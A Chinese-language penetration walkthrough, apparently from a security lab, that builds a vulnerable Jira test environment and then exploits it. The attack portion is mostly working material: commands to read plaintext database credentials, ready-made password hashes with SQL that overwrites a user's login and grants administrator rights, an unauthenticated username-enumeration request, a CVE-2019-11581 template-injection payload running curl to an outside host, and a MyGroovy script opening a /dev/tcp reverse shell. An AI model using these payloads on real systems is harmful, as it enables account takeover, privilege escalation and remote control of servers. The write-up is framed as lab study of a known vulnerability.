Author:ə[email protected]深蓝攻防实验室
Atlassian Jira是一套作为缺陷跟踪管理的系统。该系统主要用于对工作中各类问题、缺陷进行跟踪管理,后来慢慢发展为多任务的项目管理软件。
本次主要记录从搭建到利用的过程,就没展开对漏洞的具体分析了。如果有出错的地方,请各位师傅多多指教,仅供参考。
1.这里选择在kali作为本次的实验环境,配置更新源按如下命令安装docker及docker-compose即可。
curl -fsSL http://mirrors.zju.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -
echo 'deb http://mirrors.zju.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
sudo apt-get update
sudo apt-get install docker-ce
sudo apt install docker-compose
2.这里为了方便省时间,我们可以利用vulhub靶场去启用jira的漏洞环境
拉取vulhub
git clone https://github.com/vulhub/vulhub.git
部署并启动jira环境
cd /vulhub/jira/CVE-2019-11581 && docker-compose up -d
开启mysql服务,并进行初始安全配置
service mysql start && mysql_secure_installation
修改配置文件允许mysql远程访问,并设置root用户远程访问
vi /etc/mysql/mariadb.conf.d/50-server.cnf
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'IDENTIFIED BY '123456' WITH GRANT OPTION;
flush privileges;
创建数据库名为jira并尝试连接,如下
create database jira default character set utf8 collate utf8_general_ci;
3.如果在jira部署配置数据库连接时报错 Could not find driver with class name: com.mysql.jdbc.Driver,这是因为mysql驱动的问题,下载并将驱动拷进lib目录下即可
下载mysql驱动,地址如下:
https://downloads.mysql.com/archives/get/p/3/file/mysql-connector-java-5.1.49.tar.gz
解压并将以bin.jar结尾的文件copy进容器内,如下:
docker cp /home/kali/Desktop/mysql-connector-java-5.1.49/mysql-connector-java-5.1.49-bin.jar 容器id:/opt/atlassian/jira/lib
4.接着可以看到配置mysql并测试连接,显示如下表示成功
5.下一步需在jira官网注册一个账号,然后利用账号申请一个可以试用30天的license,最终完成所有配置,进入系统
jira的数据库配置文件为dbconfig.xml,可以通过如下路径获取到所使用的数据库明文账号及密码
cat /var/atlassian/application-data/jira/dbconfig.xml
export作为数据备份目录,通过如下路径获取备份文件等
ls /var/atlassian/application-data/jira/export
attachments作为附件存储目录,通过如下路径获取上传的附件文件等
ls /var/atlassian/application-data/jira/data/attachments
表名 | 存储内容 | 关键字段 |
---|---|---|
project | 项目主表 | ID-项目编号 pname-项目名称 URL-项目链接 LEAD DESCRIPTION-项目描述 pkey-项目key pcounter ASSIGNEETYPE AVATAR ORIGINALKEY PROJECTTYPE-项目类型 |
project_key | 项目key表 | ID-项目编号 PROJECT_ID -项目id PROJECT_KEY-项目key |
projectrole | 项目角色 | ID NAME DESCRIPTION |
projectroleactor | 项目角色关联关系 | ID PID PROJECTROLEID-项目角色id ROLETYPE -角色类型 ROLETYPEPARAMETER-具体用户或用户组 |
jiraissue | JIRA的issue | ID pkey issuenum -和project表pkey字段组合成issue key PROJECT -关联project表ID REPORTER -报告人 ASSIGNEE -经办人 CREATOR -创建人 issuetype -关联issuetype表ID SUMMARY -标题 DESCRIPTION -描述 ENVIRONMENT PRIORITY -关联priority表ID RESOLUTION -关联resolution表ID issuestatus CREATED -创建时间 UPDATED -更新时间 DUEDATE RESOLUTIONDATE -解决时间 VOTES WATCHES TIMEORIGINALESTIMATE TIMEESTIMATE TIMESPENT WORKFLOW_ID -工作流ID SECURITY FIXFOR COMPONENT ARCHIVED ARCHIVEDBY ARCHIVEDDATE |
priority | issue优先级 | ID SEQUENCE pname -优先级名称 DESCRIPTION ICONURL STATUS_COLOR |
resolution | issue解决结果 | ID SEQUENCE pname -解决结果名称 DESCRIPTION ICONURL |
component | 模块表 | ID PROJECT cname -模块名称 description URL LEAD ASSIGNEETYPE ARCHIVED |
jiraworkflows | JIRA的工作流 | ID workflowname -工作流名称 creatorname -创建者 DESCRIPTOR ISLOCKED -锁定状态 |
cwd_user | 用户表 | ID directory_id user_name -用户名 lower_user_name active created_date updated_date first_name lower_first_name last_name lower_last_name display_name lower_display_name email_address lower_email_address CREDENTIAL -加密后的用户密码 deleted_externally EXTERNAL_ID |
cwd_membership | 用户所属成员组表 | ID parent_id child_id membership_type group_type parent_name -用户权限 lower_parent_name-用户权限 child_name lower_child_name directory_id |
通过表的存储字段分析,可以替换cwd_user表的CREDENTIAL字段密文登录指定用户(前提密文是以{PKCS5S2}开头的)
//对应密码为Ab123456
{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF
//对应密码为123456
{PKCS5S2}6pm6MWrrixyAFrSbs8oNL53TU3j3GIXRHIIIHtSdKJ8+JkqVrzD8rHjEVPU4CAIE
//更新密码的sql语句
update cwd_user set credential = '{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF' where user_name="name";
通过修改cwd_membership表的parent_name及lower_parent_name字段值为jira-administrators,可将指定用户提升至管理员权限
查询指定项目的所有用户
SELECT p.id AS project_id, p.pname AS project_name, p.lead AS project_lead, prc.roletypeparameter AS project_roles
FROM project p LEFT OUTER JOIN projectroleactor prc ON prc.pid = p.id
WHERE p.pname = 'Test01';
1.未授权进行用户名枚举
枚举用户名接口
GET /rest/api/2/user/picker?query=zhangsan HTTP/1.1
Host: xx.xx.xx.xx:8080
Connection: close
用户名存在则返回如下信息
用户名不存在则返回如下信息
2.Atlassian Jira 模板注入rce(前提:已开启联系管理员表单)
//访问该链接显示如下信息,则说明没有配置联系管理员,无法触发漏洞
无需管理员权限:http://xx.xx.xx.xx:8080/secure/ContactAdministrators!default.jspa
需要管理员权限:http://xx.xx.xx.xx:8080/secure/admin/SendBulkMail!default.jspa
//访问该链接配置smtp
http://xx.xx.xx.xx:8080/secure/admin/VerifySmtpServerConnection!add.jspa
//访问该链接开启联系管理员表单
http://xx.xx.xx.xx:8080/secure/admin/EditApplicationProperties!default.jspa
//poc
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://xx.xx.xx.xx').waitFor()
ps:进行反弹操作时,由于Runtime.getRuntime().exec()不能执行管道命令的问题,需要将exec内的命令进行base64编码,即可反弹会话,如下
3.利用MyGroovy插件进行getshell
//管理插件接口地址
http://xx.xx.xx.xx:8080/plugins/servlet/upm?source=side_nav_manage_addons
//查看jira对应版本接口地址
http://xx.xx.xx.xx:8080/secure/admin/ViewSystemInfo.jspa
再根据对应的版本信息下载MyGroovy插件(tips:如果版本不对应会出现无法启用该插件的错误)
地址:https://marketplace.atlassian.com/apps/1218755/mygroovy/version-history
这里按照对应版本下载兼容的MyGroovy插件,如下
接着在上传插件处添加MyGroovy插件,如下
安装成功后,进入MyGroovy console执行反弹脚本,如下
def r = Runtime.getRuntime()
def p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
等待片刻 即可收到shell会话,如下